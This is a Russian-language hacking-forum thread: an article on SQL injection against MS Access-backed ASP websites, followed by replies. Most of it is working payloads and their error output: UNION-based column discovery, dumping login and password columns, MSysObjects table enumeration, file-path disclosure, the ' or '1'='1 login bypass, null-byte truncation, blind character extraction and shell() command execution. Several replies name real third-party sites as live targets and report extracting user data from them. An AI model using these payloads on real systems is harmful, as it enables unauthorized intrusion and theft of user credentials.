Проведение SQL инъекций в Microsoft Access [Введение] В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно. Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\ При этом ресурсы использующие MS Access достаточно распространены в сети. Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =) [Особенности MS Access] Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно. В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса). Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Синтаксис SELECT: Code: select [Предикат] Поля from Таблицы [in БазаДанных] [where ...] [group by ...] [having ...] [order by ...]; Необязательные аргументы заключены в [ ]. Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать оператор TOP X START AT Y. Так же очень важным свойством, является отсутствие символов комментариев, что делает невозможным усечение основного запроса. Нет возможности использования нескольких запросов с применением разделителя “;”, данный символ означает окончание запроса, его подстановкой можно определить наличие каких-либо конструкций за уязвимым параметром, но не их выполнение. [Обнаружение MS Access] Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок следующего содержания: Code: [Microsoft][ODBC Microsoft Access Driver] Syntax error .... или Code: Microsoft JET Database Engine error '80040e14' Syntax error in string .... В любом случае работаем с Access. [Подбор столбцов] Пусть ошибка присутствует в параметре id: Code: www.site.com/view.asp?id=1’ Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение! 1. Простой перебор. Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос Code: www.site.com/view.asp?id=-1+union+select+1+from+users Если появилась ошибка: Code: The number of columns in the two selected tables or queries of a union query do not match. увеличиваем количество столбцов на один Code: www.site.com/view.asp?id=-1+union+select+1, 2+from+users и так пока не исчезнет ошибка. 2. Использование оператора ORDER BY Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе. Составим следующий запрос Code: www.site.com/view.asp?id=-1+order+by+1 если ошибка с номером: Code: error '80020009' значит столбцов 1 или более 1 Code: www.site.com/view.asp?id=-1+order+by+99999 При таком запросе должна появиться ошибка: Code: Microsoft JET Database Engine error '80040e14' The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression. что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе. [Определение принтабельных столбцов] Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы. Если например столбцов основном запросе 4, то составим запрос: Code: www.site.com/view.asp?id=-1+union+select+1,2,3,4+from+users И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца. [Получение информации] После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом Code: www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123 [Таблицы] Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает. В Access существуют следующие системные таблицы: Code: MSysACEs MSysCmdbars MSysModules MSysModules2 MSysObjects MSysQueries MSysRelationships Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1): Code: www.site.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6 Для получения следующего имени таблицы воспользуемся оператором TOP: Code: www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6 Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц. Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc... [Раскрытие путей] Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте. 1. Раскрытие системной директории. Составим запрос: Code: www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.' главная часть запроса '.', имя столбца и таблицы не важно. в результате получим ошибку и в ней путь: Code: Microsoft JET Database Engine error '80004005' The Microsoft Jet database engine cannot open the file [B]'c:\winnt\system32\'[/B]. It is already opened exclusively by another user, or you need permission to view its data. 2. Подтверждение существования файла. Составим запрос: Code: www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini' Если файл не существует, то получим ошибку: Code: Microsoft JET Database Engine error '80004005' Could not find file 'C:\boot.ini' Если существует, то ошибку: Code: Microsoft JET Database Engine error '80004005' Unrecognized database format [B]'C:\boot.ini'[/B] 3. Подтверждение существования директории. Составим запрос: Code: www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr' Если дира не существует, то получим ошибку: Code: Microsoft JET Database Engine error '80004005' 'с:\inetpub\sqlerr' is not a valid path. Если существует, то ошибку: Code: Microsoft JET Database Engine error '80004005' Could not find file [B]'с:\inetpub\sqlerr'[/B] [Обход простой Авторизации] Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа. Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например: Code: www.site.com/view.asp?name=as'+and+'1 Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт: Code: user = request("user") pass = request("pass") Set Conn = Server.CreateObject("ADODB.Connection") Set Rs = Server.CreateObject("ADODB.Recordset") Conn.Open dsn SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'" rs.open sql,conn if rs.eof and rs.bof then ' Access Denied else ' Access Allowed end if Теперь видно каким образом происходит взаимодействие с базой из VBScript. Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения: Code: user = ' or '1'='1 pass = test [Копирайты] При написании статьи использовались следующие материалы: Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=com_content&task=view&id=297&Itemid=35 Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm Access SQL Injection, Brett Moore http://seclists.org/pen-test/2003/May/0074.html Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501 MSDN + мои практические наработки =) [ЗЫ] Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =) Конструктивная критика и дополнения приветствуются =) Специально для Antichat, [53x]Shadow©
Ну начнем с того что это синтаксис во всех TSQL подобных языках. Символ двоеточие во всях языках SQL означает конец запроса, и его можно применять в MS access при устолвии что ижектируемая переменная последяя, если же после нее идет запрос например "where id=$inject order by $id" то примение кавычек невозможно. Насчет коментариев, на 99% уверен что коментарии работают "--" и "{", как появиться время поставлю потестю. И собсвенно вопрос [53x]Shadow Вы имеете ввиду JetDatabase или MS Access ODBE ибо это разные бещи... А and 1=1
Ждал замечаний и вопросов от тебя =) полностью согласен. Даже если инжектируемая переменная последняя, используемый стандартный драйвер ODBC непосредственно при интерфейсе на VBS или драйвер Native Jet ISAM Driver из СУБД Jet DataBase не позволяют после нее пользуясь символом ";" вставить еще один запрос! вот пример, можешь потестить, здесь переменная последняя в запросе, дальше ничего нет Code: http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1 Синтаксис ANSI SQL/92 реализованный в MS Access не поддерживает не один вид комментариев =) Это разные вещи, но построены на использовании MS Access, соотвественно название статьи дает ответ на ваш вопрос - рассматриваю оба варианта т.к. в основном упор инъекции делается на реализацию стандарта SQL в MS Access. Хочу заметить, что СУБД Jet DataBase в ранних версиях использовала драйвер ODBC Microsoft Access Driver. не катит, стандартная ошибка: Code: Query input must contain at least one table or query Соответственно любой запрос должен осуществляться из какой-либо таблы или запроса(здесь рекурсия =\).
Ну во первых хочу заметить что наличие ошибки не означает не выолнение запроса. Дальше Коментарии Смотрим и убеждаемся что рубит нахер и сразу как говориться. # Конец строки и не ипет. Далее насчет обязательного from table берд. Такой запрос Далее а кто запрещал юзать подзапросы в милионный раз говорю это действительно удобнее... Так не легче, да и поля не надо перебирать. Далее функции, Я не писал в своих статьях о функциях да и не буду наверное каму надо тот найдет, скажу одно Функций тут гараздро больше, и собсвенно проводить иньекции намного легче. Для ввода распомотрим такой запрос Думаю всем понятно что любую функцию можно использывать соблюсти при этом синтаксис. Далее возьмем те иньекции в котороых ошибки не выводяться, умные люди уже давно не ставят кавчки потаму что 1 ошибки как правило логируються а второе ошибка это не иньекция, а вот исполнение какой то элементаной контрукции-условия это 100% иньекция. Так в MSSQL тоже есть посивольный перебор то при слепых иньеция мы его можем использывать И смотреть на ответ сервера, и не забывать что в SQL есть не только 1=1 но TRUE=TRUE TRUE=FALSE котрые также можно использывать во всех реализциях SQL Например Исользуя эту конструкцию и подзапросы мы может делать очень многое и знать исполнилось это или нет... Далее пару слов о фильтрации и захреначим запрос не используя пробелов и их заменилей P.S. Ну в принцыпе статья на твердую 4, но тема сисек не раскрыта. И вообще мое мнение что надо писать стать по SQL иньекциям как таковым ибо все похоже очень похоже разделять на классы и типы баз не очень нужно нужно просто знать что и где и почем.
То что написано в статье про обязательность from table - это правильно в том контексте, что при подборе столбцов через union select и при сливе инфы из базы необходимо инжектируемый запрос select использовать только с from table. Просто мы с кэшем не поняли друг друга малость (разобрались в аське чтоб не флудить), все примеры, что привел кэш в пред посте верны. Просто инжектируемая конструкция в них впринципе не требует from table. По поводу символа комментария "#", есть подозрения что Кэш прав. Как только найду инфу и/или проверю на практике, сразу дополню статью! ЗЫ Кэшу как всегда спасибо за оценку, замечания и предложения =)
Честно сказать, мне уже раз ~10 попадалась за последние 2 месяца =) При этом на достаточно интересных ресурсах, даже натовский сайт один попался. Надо понимать, что в основном не чистая Мс Аксесс попадается, а Jet Database(достаточно распространенная субд) кот. использует Access2007 в основе + IIS 6.0. Вообщем встречается и все чаще =\
Constantine Вы не правы, MS Access используеться довольно развернуто, кроме того лишние знания данной СУБД не помешают.
Хек епта. Значит так =) "select не может быть без from" Еще раз пищу это полный бред. Мое заключение по синтаксису, Запрос Будет работать на всех версиях акса старше 97 при условии что это не сложный запрос и в нем не используються подзапросы и объеденяющие запросы. И вообще 1 чел сказал что работать должно на всех версиях акса просто не удалось найти более ранние тут все зависит от версии Jeta ну это джет это компонент а не база данных. Поясню у нас был спор что запрос SELECT 123 В результате которого должна вывестить 123, будет работать только с FROM {TABLE}.
Важные дополнения!!! Доплнение Чтобы избежать дальнейших противоречий, вопросов и ссылок на непроверенные источники поднял у себя MS Access 2003 дабы убедится во всем самолично. При анализе так же использовалась утилита: ADO Query Tools Version 1.0.8 build 23 Copyright (c) Arbinada.com 2007 скачать Итак приступим... [Провайдеры] Для взаимодействия с MS Access обычно используются два провайдера(драйвера): Microsoft OLE DB Provider for ODBC Drivers Поставляется по умолчанию с Windows и Microsoft Jet 4.0 OLE DB Provider Устанавливается дополнительно в зависимости от нужд. У меня установился вместе с ADO Query Tools Поэтому при инъекции в MS Access одинаково часто можно встретить ошибки двух типов: Code: [Microsoft][ODBC Microsoft Access Driver] Syntax error .... или Code: Microsoft JET Database Engine error '80040e14' Syntax error in string .... [Комментарии] MS Access не поддерживает ни один вид комментариев! Как и было указано в самой статье - для усечения оставшейся части запроса после инжектируемого параметра не возможно воспользоваться символами комментариев типа "/*", "--", "#". Но при этом(важно!) для усечения можно воспользоваться нуль-байтом (%00) MS Access воспринимает его как конец запроса =) пример: Code: www.site.com/view.asp?id=-1+union+select+1+from+users[B]%00[/B] При этом символ "#" при попытке усечения запроса через http get-запрос, просто не учитывается и не подставляется в SQL-запрос вместе с параметром, что создает эффект усечения. [Шелл] В MS Access возможно в запросах использовать функции shell(), curdir() По умолчанию (для безопасности) использование этих функций отключено. В реестре ключ Code: \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode по умолчанию равен 3 Если этот ключ каким либо образом (случайно или преднамерено) установлен в 0 возможно выполнение этих функций! Пример Shell: Code: www.site.com/view.asp?id=1+and+[B]shell('cmd /c calc')%00[/B] Запускается калькулятор - проверено лично, робит =) Пример CurDir: Code: www.site.com/view.asp?id=1+union+select+[B]CurDir()[/B]+from+table%00 получим текущую диру расположения файла с БД. Необходимо знать имя таблицы и кол-во столбцов(как см. статью) [Обход фильтрации] В MS Access отсутствует функции concat(), поэтому для конкатенации используются операторы "+" и "&" При этом при http get необходимо учитывать что символ "+" надо заменять на %2B Для обхода фильтрации можно воспользоваться функций CHR() При этом надо помнить, что строки надо кодировать посимвольно! т.е. Code: CHR(XX)%2BCHR(XX)%2BCHR(XX)%2B.... [Запросы] В простых запросах SELECT как и писал [cash] можно обойтись без FROM TABLE Code: select 123 работает проверено =) Но при проведении инъекции с внедрением своего запроса через параметр получается сложный запрос. При использовании конструкции UNION SELECT в объединяемом запросе необходимо присутствия FROM TABLE тоже проверено =) [ЗЫ] Инфа по теме http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html
Нда, первый раз столкнулся с мс акцесс и облом... проблемма с подбором столбцов выдает такие фишки: и так : order by 2 ошибку не выдает, можно попользовать подзапросы, но для этого нужно время или скрипт писать (функции типа substring и ASCII я думаю есть) но смысл не в этом интересно почему такая фигня с кол-вом столбцов. Зы таблица users точно есть
Так сложно сказать, не сталкивался с такой проблемой, надо смотреть по ситуации. Кинь ссылку сюда или в ПМ посмотрю. Не понятно по посту ты запрос отсекаешь дальше? Возможно там сложный запрос какой-нибудь и что после твоего инжекта дальше хез.
ссылка: _http://www.fppc.ca.gov/index.html?id=2+order+by+2 запрос пробовал отсекать так:%00, насчет сложного запроса неуверен т.к. ордер ошибок не выдает, вобще интересно есть ли какой нибудь приоритет ошибок, я про то что допустим если есть две разные ошибки к примеру синтаксическая ошибка и неверное количество полей в юнион селект, то сначала будет вылазить ошибка синтаксиса, а уж после ее устранения ошибка кол-ва полей? или приоритеты линейные? скорее всего конечно второе, но точно незнаю.
Да очень странное поведение базы, возможно особенности Access 97 =\ Думал мож в users не 2 поля а 1, хотя странно, нашел еще таблицу content из кот. все и тянется в основном запросе, та же фигня при инжекте через union =\
2 [53x]Shadow спс что посмотрел, спасибо за статью, данные я из этой скули получил какие надо с помощью подзапросов... Code: http://site/index.html?id = 2 and asc(mid((select top 1 username from users),1,1))=106 кстати дополнил бы статью этими фишками (подзапросы, полезные функции и т.д.)
Возникли 4 вопроса... 1)где в MSSQL по дефолту размещаются таблицы *.mdb? А то пытаюсь получить названия колонок в таблице(саму таблицу сбрутил) при помощи INFORMATION_SCHEMA,а мне выдается c:\windows\system32\inetsrv\INFORMATION_SCHEMA.mdb Could not find file.Если же проверить на существование таблицу customer(она на сервере точно есть), то получаю тот же результат.. 2) при запросах типа http://site.com/sh/category.asp?catid=1+union+select+1,2,3,4,5,6,7,8+from+customer%00 (таблица,поля валидные;подбирал через ORDER BY) страница отображается,в title страницы стоит 6(т е вроде все ОК),но в конце странице приписывает ошибку: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match. D:\xxx\xxx\../xxx/functions.asp, line 698 Что это значит?Что я обрубил запр с на переменной 'catid' , а там передается еще что-то? 3) Как,зная только кол-во полей,имя таблицы и не имея таблицы INFORMATION_SCHEMA,узнать структру этой таблицы? 4) Какие в MSSQL есть ф-ции,уязвимые к инклюдам,типа LOAD_FILD() и тд,доступ к которым есть по дефолту.Мне( см пример выше,удалось вызвать лишь time() и date().Остальные возврщают ошибку типа too few parametrs.Expected 1. Все,заранее спасибо тем,кто разжует чайнику эти вопросы.
Во-первых не MSSQL, а MSAccess! Следовательно в базе нет системной таблицы INFORMATION_SCHEMA, по-этому у вас и выпадает ошибка, т.к. такой таблы нет и файла INFORMATION_SCHEMA.mdb соотвественно тоже не существует. Все системные таблицы описаны в статье, читайте внимательнее. Во-вторых по умолчанию все файлы таблиц MSAccess расположены в ...\inetserv\*.mdb Да скорее всего не до конца подобрали количество столбцов, либо используется сложная конструкция в запросе. Стандартными средствами никак, только интуитивно, например на основе названий полей ввода или переменных в различных html формах, ГЕТ/ПОСТ параметров. Еще раз повторюсь Это не MSSQL! Если все-таки интересует MSSQL читайте статью Кеша: http://forum.antichat.ru/thread30501.html там есть встроенные процедуры... Что каксается MSAccess, то о специльных функциях я писал здесь: http://forum.antichat.ru/showpost.php?p=478552&postcount=10
Спасибо за ответы.Еще 1 вопрос... При запросе типа http://xxx.com/xxx/category.asp?catid=-70004+union+select+1,2,3,4,5,password,7,8+from+customer+where+email='[email protected]'%00 выводится 8~?? Это есть пароль farmer27p(моя регистрация).Примеры других паролей: , h©?Y? x^(??] $w?? ”’ кодировку в браузере менял,не помогает.Что с этим вообще делать?
Нужен исходник авторизационного скрипта. Смена кодировке в браузере не поможет нечем. Скорей всего это хеш. Сам довольно часто встречал, Так же стоит не забывать что базы храняться в mdb тоесть и их идеальный просмотр может совершаться только через MicroSoft Access. Лично моя теория что есть какая то внутряння кодировка именно для колонок (password). Потаму что встречал базы где половина открытых а половину в такой вот херне. Вообще очень похоже на бинарник.
Что делать, если при UNION возникает такая ошибка: количество полей я подобрал правильно. Инъекция в форме авторизации, но обойти не получается, так как в оригинальном запросе из таблицы выбирается вся информация только по логину (SELECT * FROM users WHERE username=[SQL]), а затем полученный из БД пароль сравнивается с тем, который я ввел. Подзапросы получаются, но не могу определить поле с паролем (название таблицы и поле с логином я узнал). Определить с помощью ' Group by id%00 не выходит, так как в запросе выбираются все данные, т.е. * Вытащил логины, но дальше не знаю, что делать. Доступа к MSysObjects нет.